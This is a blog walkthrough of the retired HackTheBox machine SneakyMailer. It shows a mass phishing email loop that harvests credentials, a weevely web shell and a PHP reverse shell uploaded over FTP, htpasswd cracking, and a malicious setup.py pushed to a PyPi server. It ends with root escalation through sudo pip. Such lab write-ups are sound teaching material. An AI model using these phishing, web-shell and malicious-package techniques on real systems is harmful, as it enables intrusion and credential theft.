HackTheBox - SneakyMailer
SneakyMailer just retired on Hackthebox, it’s a Medium difficulty Linux box created by sulcud.
This box reminded me of a few other one like Chaos where you have to access victims SMTP credentials and Registry for the package installer instance to exploit.
In the end it’s a very well designed box that allowed me to play with SMTP and PyPi package manager. Highly recommended.
Tl;Dr: In order to get the user flag you had use the list of users emails from the website to send phishing emails. One user will input his credentials, allowing us to connect to his mailbox and retrieve the FTP password of a developer account in his mails. From there we can upload a PHP reverse shell to get a shell as developer user. At this point you can access a PyPi server instance, create and upload a malicious package in order to get access to low
user and get the flag.
To get the root flag you had to exploit a sudo configuration allowing to run pip
command as root. To do so you create another malicious setup.py
package that will spawn a privileged shell since it’s run as root.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.197 sneakymailer.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC sneakymailer.htb |
We have a few interesting port open, two HTTP port on 80 and a nginx
proxy on port 8080.
Opening http://sneakymailer.htb redirect to http://sneakycorp.htb which displays the following page:
We get a few interesting informations, stating that a POP3
and SMTP
are complete and that it’s possible to install Python pip
module on the servers.
The “Team” page allows us to list users and their emails address:
Let’ continue our recon, the homepage state Python package can be installed to the server, yet we didn’t find any mentions of pipy
or some kind of module. Let’s run gobuster
in vhost
mode to see if any Virtual Host exist that can be interesting:
1 | [hg8@archbook ~]$ gobuster vhost -u sneakycorp.htb -w ~/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt |
We got a dev
version of the website, opening it display the exact same site but with a register function added at http://dev.sneakycorp.htb/pypi/register.php
.
While registering doesn’t seems to do anything the URL let us guess it’s a package installed with pypi
. Let’s move on.
Seeing all the emails addresses we have available, port 25 SMTP open and the name of the box it might be a good start to try phishing some users to get their credentials.
Extract users email list
First let’s go back to the main site and extract all the user emails, we can use cewl
for this task.
1 | [hg8@archbook ~]$ ./cewl.rb -e --email_file sneaky-emails.txt http://sneakycorp.htb/team.php |
Phishing through SMTP
Given the fact we are in a CTF scenario there is probably no need to create a real phishing page (even though it wouldn’t be hard). To start off let’s try to send a simple link to users by emails and see if anything connect back to it.
Let’s open our listener on port 80:
1 | [hg8@archbook ~]$ sudo nc -lvnp 80 |
We have plenty of solutions to send SMTP, I will go with a simple way using swaks
in a little bash script.
1 | while read email; do |
After a little wait Paul bite the bait:
1 | [hg8@archbook ~]$ sudo nc -lvnp 80 |
Let’s urldecode the password using Python:
1 | [hg8@archbook ~]$ python |
We got the following credentials:
1 | [email protected]:^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht |
We don’t have any entry points so far except SMPT so let’s login to Paul account to see if we can find interesting emails. To do so we can use evolution
(apt install evolution gamin
).
Since I don’t have GUI on my CTF/Pentest box I gave a try to HackTheBox pwnbox which was quite nice and perfect to use for this kind of scenarios.
We configure Paul account with the informations we got:
Upon synchronisation we find an interesting email in the Sent folder:
From: Paul Byrd paulbyrd@sneakymailer.htb
To: root <root@debian>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500Hello administrator, I want to change this password for the developer account Username: developer Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C Please notify me when you do it
Access FTP Dev server
nmap
scan revealed open FTP port. Now that we have a developper credential maybe we can login to it:
1 | [hg8@archbook ~]$ ftp sneakymailer.htb |
Bingo, we have access to what seems to be the development website we found earlier (http://dev.sneakycorp.htb
):
1 | ftp> ls |
PHP Reverse Shell
With our FTP access we have the possibility to upload files. It’s the perfect scenario to upload a PHP Web Shell.
To generate the reserve shell I will use the excellent weevely
:
1 | [hg8@archbook ~]$ python weevely.py generate h4ckTheB0x hg8.php |
And upload it through FTP:
1 | [hg8@archbook ~]$ ftp sneakymailer.htb |
We should now be able to connect to the web shell (still using weevely
):
1 | [hg8@archbook ~]$ python weevely.py http://dev.sneakycorp.htb/hg8.php h4ckTheB0x |
Unfortunately a clean-up script seems to remove any file uploaded to the server, cutting our webshell connection. To circumvent this workflow let’s upload a PHP reserve shell opener instead (like this one for example).
Let’s open our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Drop our new PHP file and call it to trigger the reverse shell:
1 | [hg8@archbook ~]$ curl http://dev.sneakycorp.htb/hg8.php |
And bingo we get a new connection:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Pivot www-data -> developer
First let’s pivot to developer
account (with the credentials we found earlier) since it have more privileges than www-data
:
1 | www-data@sneakymailer:/$ su - developer |
Looking at the /home/
folder we can see that low
have the user.txt
flag:
1 | www-data@sneakymailer:/home/low$ ls -l |
Let’s now start looking around for anything that could help us pivoting to low
user.
Pivot developer -> low
While searching in the /var/www
folder we notice a subdomain we missed pypi.sneakycorp.htb
subdomain:
1 | developer@sneakymailer:/$ ls /var/www/ |
Let’s add it to our hosts file and take a look:
1 | [hg8@archbook ~]$ curl http://pypi.sneakycorp.htb/ -I |
Nothing there unfortunately, but maybe it’s on port 8080
returned earlier by nmap
?
This is interesting, we have a way to create and upload our own Python packages.
Cracking PyPi server htpasswd
Reading through the documentation of pypiserver
we find that it’s possible to protect package upload with an .htpasswd
authentification.
Indeed while searching the folder we find it:
1 | developer@sneakymailer:/var/www/pypi.sneakycorp.htb$ ls -la |
Let’s run john
on this hash to see if we can find the password:
1 | [hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt pypihash Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" |
Bingo we got credentials to install python package remotely to the server: pypi
:soufianeelhaoui
.
Creating malicious Python Package
Now that we have the credentials and access to the PyPi server let’s create and upload a simple malicious package.
An easy way to use it to pivot to low
user would be to add our SSH key its authorized_key
file.
Following the documentation on PyPi server we can create the following setuptools
:
Setuptools is a fully-featured, actively-maintained, and stable library designed to facilitate packaging Python projects.
First let’s create our .pypirc
:
1 | [distutils] |
Then the malicious setup.py
:
1 | import setuptools |
Let’s upload both files on the server:
1 | developer@sneakymailer:/tmp/.hg8$ wget 10.10.14.15:8000/.pypirc |
To have our .pypirc
taken in account we have to change the $HOME
environment variable to our own folder:
1 | developer@sneakymailer:/tmp/.hg8$ HOME=$(pwd) |
Then we should be able to run the setup.py script:
1 | developer@sneakymailer:~$ python3 setup.py sdist upload -r local |
Looks like everything went fine, we should be able to login using our SSH key to low
account:
1 | [hg8@archbook ~]$ ssh -i id_rsa_htb [email protected] |
Root FLag
Recon
The usual recon return an interesting sudo entry that can run command as root without password:
1 | low@sneakymailer:/tmp$ sudo -l |
Pip privilege escalation
Let’s see on GTFObins if we can find a way to exploit pip3
to get a shell or arbitrary file read/write in order to escalate our privileges to root.
Bingo, there is one way:
If pip runs in privileged context it may be used to access the file system, escalate or maintain access with elevated privileges.
https://gtfobins.github.io/gtfobins/pip/
Let’s give it a try using the example provided to spawn a privileged interactive shell:
1 | low@sneakymailer:/tmp$ TF=$(mktemp -d) |
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8